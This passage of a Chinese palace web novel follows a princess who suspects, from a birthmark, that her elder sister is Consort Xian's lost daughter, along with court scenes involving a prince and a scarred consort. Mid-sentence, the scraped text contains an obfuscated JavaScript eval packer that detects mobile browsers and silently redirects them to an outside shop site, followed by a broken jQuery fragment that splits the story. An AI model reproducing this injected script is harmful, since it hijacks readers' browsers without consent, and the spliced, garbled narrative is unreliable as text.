她试探性问道:“娴妃娘娘,星星姐姐身上的胎记在什么位置?以后我也帮您留意些。”
娴妃点头:“如果本宫没记错的话,应该是在右肩胛骨的位置。”
“轰隆——”小七脑中响彻一声惊雷。
如果她没失忆的话,她记得,三皇姐的右肩胛骨处便是有一个凤凰胎记!
妈呀,她是不是不小心发现了什么惊天大瓜?
就在这时,桔园旁铺满落叶的小径上,传来一阵细细簌簌的声音,一袭飘逸华服的身影悄然走过。许是那身影的气场太过强大,小七下意识转头去看。这一细看,她顿时惊喜出声:“三姐姐,你怎么在这里?也是来桔园摘桔子的吗?”
正想悄悄走掉的夏文茵:……
被发现了!
她不慌不忙地冲小七点头:“嗯,是这样。”
其实,她就是恰巧路过而已。
再说,她跟娴妃娘娘也不熟啊,根本聊不到一块去!
娴妃自打夏文茵出现,目光便一眨不眨地落在她身上。
她从未和这孩子说过话,平日里也就是偶尔远远看过,从未如此近距离地聊天。
这一细看,她不禁有些酸。
惠妃还真是有福气啊。
这孩子生的如此高贵、有气质,听说颇有才情,难怪深得陛下盛宠,就连她这一深宫老妇,仅此一面,也对这孩子喜欢的不得了。
只是,这孩子性子冷了些,不爱说话。
没关系,她多说一点就是。
于是,娴妃便笑着套近乎:“文茵长得真好,平日里也是走动的少,这才几年不见,都长成大姑娘了。说起来,你娴娘娘我呀,和您母妃,当年可是一起在寺庙生得你和然儿呢!”
夏文茵有些诧异,竟然还有这回事么?她的母妃倒从未跟她说过此事。
在她的印象里,母妃似乎说过不少娴妃娘娘的坏话,这也使得她不愿与对方过多接触,今日若非小七叫住她,她是不打算停下闲聊的。
此时,她口中的小七正瞪着眼睛发呆。
小七属实没想到,娴妃和惠妃竟是在一处生产的。
按照宫斗剧的套路,三公主会不会就是……
她心下一阵激动。
这事,八成实锤了!
这大瓜,吃的爽!
只是,这一切都是她的猜测,在没找到证据之前,她可不敢瞎说。
三皇姐,你等着吧,在不久的将来,你七妹我会再给你一个娘!
等下,若是她这样做了,惠妃娘娘会不会难过呢?
算了,这事她还是从长计议吧。
孰不知,她时而笑时而愁的模样早已引起了夏文茵的好奇:“小七,你在想什么?”
情绪波动这么大,没问题吗?
小七冲她摇了摇头:“随便发发呆而已”,说着笑眯眯地递给她一个黄澄澄的桔子,献宝似的:“对了,三姐姐,别干坐着,尝尝这桔子。”
娴妃附和:“对呀,你尝尝看,很甘甜的。”
夏文茵迎着二人期待的目光,缓缓伸手去接,不等她碰到桔子,小七突然握住她的手,惊呼出声:“呀,三皇姐,你的手怎么受伤了?”她这突然的“嗷”一嗓子,让夏文茵想藏伤口都来不及,心下十分后悔去接她递过来的桔子。
娴妃闻声一看。
三公主白玉般修长的指尖处,数道伤口赫然在目。伤口虽不大,却多处渗出点点殷红鲜血,在白玉般的手指上显得格外刺眼。
娴妃不禁有些心疼:“啧,这是怎么……伤着了?这群奴才是怎么照顾主子的,要是让你母妃看到,该心疼了。”
夏文茵淡淡勾唇:“无碍,是我自己不小心,已经不疼了。”
可惜,即便她亲手做了母妃喜欢的素菜,母妃还是一口都没吃。
还有,娴妃娘娘说错了。
这伤口……母妃看到了,她没有心疼。
小七感受到三皇姐不慎外露的伤感,便讲起笑话,来转移她的注意力。
娴妃则趁机朝身旁的雪兰使了个眼色,雪兰立刻转身离开。很快,便拿来药膏和纱布。
娴妃笑着要来拉她的手。
夏文茵顿时浑身僵硬,连连摆手:“不必如此,一点小伤而已,多谢您的好意。”
娴妃娘娘突如其来的热情,着实令她有些招架不住。
平日里,她独来独往惯了,也不知该如何应对这种情况。
娴妃嗔了她一眼,强硬地拉过她的手,边为她涂药膏包扎边絮叨:“你这孩子,怎么不知道心疼自己呢?手指受伤了,一定要及时让太医来瞧,及时治疗。若是不慎耽搁了,这么漂亮的一双手留了疤,那多可惜啊!你不心疼,本宫还心疼呢!你放心,然儿那臭小子时常磕碰,这药膏涂抹后,绝不会留疤的。女孩子呀,就应该漂漂亮亮的!”说着,娴妃将纱布打了个漂亮的蝴蝶结,完美收尾。
夏文茵垂眸,望着被细心包扎过的右手,脑中浮现出方才娴妃温柔关切的眼神,心中不由一暖:
她还真是一位让人忍不住想亲近的善良母亲呢!
若是自家母妃是这样子,她做梦都会笑醒吧。
“母妃,小七,小爷又回来了!”夏星然龇着一口小白牙,兴冲冲地跑了过来。
身后紧跟着传来闭延的破锣嗓音:“四殿下,又没有野狗撵你,你跑那么快干嘛?等等奴才啊!”
夏星然越跑越近,然后……猛然刹住了脚!
三皇姐这老巫婆怎么也在这里?
他身后正“啊啊”地冲过来的闭延,一个没留神,猛然撞上夏星然的后背!
二人顿时一个前扑,一个后摔,紧跟二人异口同声道:“谁啊?瞎啊!”
众人:……
还真是一对嚣张的主仆!
四皇子龇牙咧嘴地爬起身,不期然对上三皇姐似笑非笑的眼神。
哼,看什么看,再看把你眼珠子扣下来!
老巫婆总是这般瞧不上他!
既然瞧不上,干嘛还总往他眼前凑?可恶啊!!!
四皇子越想越恼,忍不住冲闭延狠狠瞪了一眼。
狗奴才!
害得他在老巫婆面前出了丑。
狗奴才闭延忍不住打了个寒颤。
四殿下的死亡凝视真是太可怕了!
他赶紧爬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957825|132839||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起身,鸵鸟似的低着头默默跟上。
化身锯嘴葫芦,开始苟命!
闹剧过后,四皇子臭着脸走到众人身边,正要在小七身边坐下,便被娴妃扯着袖子拉到了身前,用手帕为他擦了擦额头的汗:“天气怪热的,瞧你,刚换的干爽衣服,又跑了一身臭汗,真是个皮猴儿!”
夏文茵一眨不眨地看着娴妃,眸中隐隐透着羡慕的神色。
四皇弟就是被这样娇惯着长大的吗?
没彻底废掉,还真是不容易了。
许是她的目光过于强烈,四皇弟不由红了脸,不耐地挡开母妃的手,十分难为情道:“母妃,大家都看着呢,你别动手动脚的,影响了我孤傲冷酷的男子汉气概!”
娴妃嗔骂了一句:“臭小子,什么孤啊冷啊的,在娘亲眼里,你永远就是个长不大的小屁孩。”说话间,便见娴妃微微侧头,目光专注地望着四皇弟,那眼神中流露的涓涓宠溺立刻刺痛了夏文茵。
她狼狈地撇开眼,隐下眼底深深的羡慕。
夏文茵,你到底在妄想什么?羡慕什么?
这辈子,你都注定得不到母爱,你不是已经想明白了吗?
就这样,你一个人,与孤独相伴,这样就很好!
她内心暗暗警告了自己一番,情绪慢慢平复下来,面上再度恢复了往日淡漠、傲慢的神色。
几人就这样有一搭没一搭地闲聊着,直至晌午,众人这才互相道别,各自散去。
娴妃走得最慢,她望着三公主亭亭玉立、渐渐远去的身影,心中忍不住想:本宫的女儿若是还在人世,必然也是这般可人了。
*
再说梅妃这边。
一晃小半月过去了。
梅妃的脸……依然伤疤纵横。
那一道道伤疤,宛如丑陋的蜈蚣,紧紧趴在她脸上,无论时光如何流转,都执拗地不肯离去。
梅妃想起往日自己明艳动人的脸蛋,忍不住闭了闭眼。
她压声问一旁的翠屏:“小依那贱婢的脸如何了?”
翠屏道:“回娘娘的话,小依的脸似乎……恢复得挺好。”
梅妃一听,猛地挥落妆台上的铜镜,咬牙切齿道:“去把人带来,本宫有话要问她。”
不多时,宫女小依缩着肩,垂首进了殿。
梅妃声线稳定道:“抬起头来。”
小依缓缓抬头,眸中透着疑惑与茫然,原本满是抓痕的脸,如今已接近痊愈,曾经狰狞的创口如今已变得极为浅淡,留下一抹若有若无的粉痕,肌肤也渐渐恢复了往日的细腻。
梅妃缓步上前,一眨不眨地看着她那趋于完好的脸,冷不丁甩手就是一巴掌。
小依被打地扑倒在地,随即赶紧跪好,忍不住小声哭泣起来。
梅妃怒道:“闭嘴,不许哭!说,你在本宫的药膏里搞了什么鬼?为何本宫的脸迟迟不愈,而你的脸却已大好?”
小依忍住抽动鼻子的冲动,老实回答道:“娘娘,奴婢冤枉,奴婢什么也不知道啊。翠屏姐姐每日按时拿药膏给奴婢使用,这才使奴婢的脸伤渐有起色,其余的事,奴婢真的是一概不知啊。”
梅妃沉默不语。